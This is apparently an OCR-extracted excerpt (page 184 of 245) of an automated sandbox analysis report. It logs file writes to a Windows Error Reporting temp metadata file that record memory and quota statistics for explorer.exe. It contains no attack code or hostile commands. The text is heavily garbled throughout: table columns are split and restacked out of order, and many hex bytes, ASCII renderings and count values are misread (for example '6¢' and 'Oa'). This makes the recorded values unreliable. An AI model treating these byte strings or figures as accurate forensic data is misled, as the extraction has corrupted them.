C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c00510075006f <.Q.u.o.ta.P.a.g.e.d.P.o.o. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00740061005000 lU.s.a.g.e.>.1.8.6.6.0.0.

6100 67 00 650064 <./.Q.
00 50 00 6f 00 6f 00 6¢ u.o.t.a.P.a.g.e.d.P.0.0.l.U.s
00550073006100 .a.g.e.>.
67 00 65 00 3e 00 31

00 38 00 36 00 36 00

30 00 30 00 3c 00 2f

00 51 00 75 00 6f 00

7400 61 00 50 00 61

00 67 00 65 00 64 00

50 00 6f 00 6f 00 6¢

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait & 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 124 3c00510075006f <.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00740061005000 a.

6500 61 00 6b 00 4e g.e.d.P.o.0.l.U.s.a.g.e.>.9.
00 6f 00 6e 00 50 00  0.4.0.0.

61 00 67 00 6500 64 <./.Q.u.0.t.a.P.e.ak.N.

00 50 00 6f 00 6f00  o.n.P.a.g.e.d.P.o.0.l.U.s.a.
6c 005500730061 g.e>.

00 67 00 65 00 3e 00

39 00 30 00 34 00 30

00 30 00 3c 00 2f 00

51 00 75 00 6f 00 74

00 61 00 50 00 65 00

61 00 6b 00 4e 00 6f

00 6e 00 50 00 61 00

67 00 65 00 64 00 50

00 6f 00 6f 00 6¢ 00

5500 73 00 61 00 67

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 108 3c00510075006f <.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00740061004e00 P.

6f 00 6e 0050 00 61  0.0.l.U.s.a.g.e.>.9.0.1.2.8.
0067 00 65006400 <.

50 00 6f 00 6f 00 6c  /.Q.u.o.t.a.N.o.n.P.a.g.e.d.
00550073006100 P.o.0.lUs.ag.e>.

67 00 65 00 3e 00 39

00 30 00 31 00 32 00

38 00 3c 00 2f 00 51

00 75 00 6f 00 74 00

61 00 4e 00 6f 00 6e

00 50 00 61 00 67 00

65 00 64 00 50 00 6f

00 6f 00 6¢ 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.s.ag.e> successorwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00650066 006900 7.9.5.8.5.2.8.<./P.a.g.ef.i.

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 37 00 39 00 35

00 38 00 35 00 32 00

38 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.ag.ef.ileU.s. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.7.9.6.6.7.2.0.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.e.file.U.s.ag.e.
73 006100670065 >.

00 3e 00 37 00 39 00

36 00 36 00 37 00 32

00 30 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait & 702C497A unknown

ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021 Page 184 of 245



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.a.g.e.>7. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00760061 007400 9.5.85.28</P.r.iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
37 0039 00 3500 38
00 35 00 32 00 38 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.ro.ce.s.s.V.m.l.n.f.o. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.n.tP.r.o.c.e.s.s.> success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 005000 72006f <.P.r.o.c.e.s.s.lnform.a. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 0063 0065007300 ti.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>3.4.4.0.<./.P.i.d.>. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 3e 00 33 00 34 00

34 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.e.x.p success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 0067 006500 4e 00 .l.or.e.r..ex.e.

61 00 6d 00 6500 3e <./.lm.a.g.e.N.am.e>.
00 65 00 78 00 70 00

6¢ 00 6f 00 72 00 65

00 72 00 2e 00 65 00

78 00 65 00 3c 00 2f

00 49 00 6d 00 61 00

67 00 65 00 4e 00 61

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.8.0.0.0.4.0.0.5.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.n.e.S.ig.nature.>.
7500 72 00 65 00 3e

00 38 00 30 00 30 00

30 00 34 00 30 00 30

00 35 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

5300 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 4

unknown 2

unknown 48

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3¢ 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 34 00 34
00 34 00 39 00 37 00
37 00 3c 00 2f 00 55
00 70 00 74 00 69 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 0030 00 3c
00 2f 00 57 00 6f 00
7700 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 34
00 32 00 39 00 34 00
39 00 36 00 37 00 32
00 39 00 35 00 3c 00
2f 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.U.p.tim.e>.54.4.49.7.
7.</.U.p.tim.e.>.

.h.0.5.t.=.".3.4.4.0.4.">.0.
<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.e.ak.V.irtualS.z.
€.>.4.2.9.4.9.6.7.2.9.5.
<./.P.
eak.\VirtualS.ize>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

1

5

Source

Address Symbol

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 74

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 84

unknown 4

unknown 2

unknown 114

Value

3c 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 7500 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 35 00 34
00 34 00 36 00 37 00
3c 00 2f 00 50 00 61
00 67 00 65 00 46 00
61 00 75 00 6¢ 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e
00 67 00 53 00 65 00
74 0053 0069 00 7a
00 65 00 3e 00 31 00
3000 37 00 31 00 34
00 33 00 31 00 36 00
38 00 3c 00 2f 00 50

00 65 00 61 00 6b 00
57 00 6f 00 72 00 6b

00 69 00 6e 00 67 00
53 00 65 00 74 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 72
00 6b 00 69 00 6e 00
67 00 53 00 65 00 74
00 53 00 69 00 7a 00
65 00 3e 00 31 00 30
00 36 00 37 00 32 00
39 00 34 00 37 00 32
00 3c 00 2f 00 57 00
6f 00 72 00 6b 00 69
00 6e 00 67 00 53 00
65 00 74 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 39 00 38 00 37 00
33 00 36 00 38 00 3c
00 2f 00 51 00 75 00
6f 00 74 00 61 00 50
00 65 00 61 00 6b 00
50 00 61 00 67 00 65
00 64 00 50 00 6f 00
6f 00 6¢ 00 55 00 73
00 61 00 67 00 65 00
3e 00

Ascii

<VirtualS.iz.e>42.
9.4.9.6.7.2.9.5.<./.V.irtu.

alS.iz.e>.

Completion

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait

>.5.4.4.6.7.
<./.P.a.g.e.F.a.u.
L.t.C.o.u.n.t.>.

success or wait

success or wait

<.P.e.a.k.W.o.rk.i.n.g.S.e.t success or wait

.S.i.z.e.>.1.0.7.1.4.3.1.6.8.

<.

/.P.e.a.k.W.o.rk.i.n.g.S.e.t.

S.i.z.e>.

success or wait

success or wait

<.W.o.rk..n.g.S.e.t.S.i.z.e. success or wait

>.1.0.6.7.2.9.4.7.2.
<./.W.o.r.
ki.n.g.S.etS.i.z.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait

d.

P.o.0.l.U.s.a.g.e.>.9.8.7.3.

6.8.

<./.Q.u.o.t.a.P.e.a.k.P.a.g.

e.d.P.o.0o.l.Us.a.g.e>.

Count Address

1

Source
Symbol

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 4

unknown 2

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

Value

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 39
00 34 00 32 00 38 00
37 00 32 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 3500300033
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 32 00 38 00 33 00
3200 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 0061 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 33 00 35 00 36
00 39 00 36 00 36 00
34 00 30 00 3c 00 2f
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion

success or wait

success or wait

<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait
lLUs.a.g.e>.9.4.2.8.7.2.

<./.Q.

u.o.t.a.P.a.g.e.d.P.o.0.l.U.s

.a.g.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait
a.

g.e.d.P.o.0l.Us.a.g.e>.7.

5.0.3.2.

<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.

g.e>.

success or wait

success or wait

<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait
P.

0.0..U.s.a.g.e.>.7.2.8.3.2.

<.

/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.

success or wait

success or wait

<.P.a.g.efile.U.s.a.g.e.> success or wait
3.5.6.9.6.6.4.0.

<./.P.a.g.ef.

ile.Us.a.g.e>.

success or wait

success or wait

Count Address

1

5

1

1

5

1

1

5

1

Source
Symbol
702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 94 3c 005000650061 <.P.e.ak.P.ag.efileU.s. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.3.7.5.9.3.0.8.8.

67 00 6500 66 0069 <./.P.
00 6c 00 65005500 e.a.k.P.a.g.efile.U.s.ag.
73 006100670065 e.>.
00 3e 00 33 00 37 00

3500 39 00 33 00 30

00 38 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 50 00 61 00

67 00 65 00 66 00 69

00 6¢ 00 65 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c005000720069 <.P.rivate.U.s.ag.e.>3. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00760061 007400 5.6.9.6.6.4.0.</.P.riv.a.t.

65005500730061 e.Us.a.g.e>.
00 67 00 65 00 3e 00
33 00 3500 36 00 39
00 36 00 36 00 34 00
30 00 3c 00 2f 00 50
00 72 00 69 00 76 00

61 00 74 00 65 00 55

00 73 00 61 00 67 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.V.m.l.n.f.o. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.ro.c.e.s.s.l.nfo.rm. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 72 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

7300 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P..o.c.e.s.s.l.nfo.rm. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c 0050007200 6f <.P.r.o.b.l.e.m.S.i.g.n.a.t.u. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 62 00 6c 00 6500 r.e.s.>.

6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
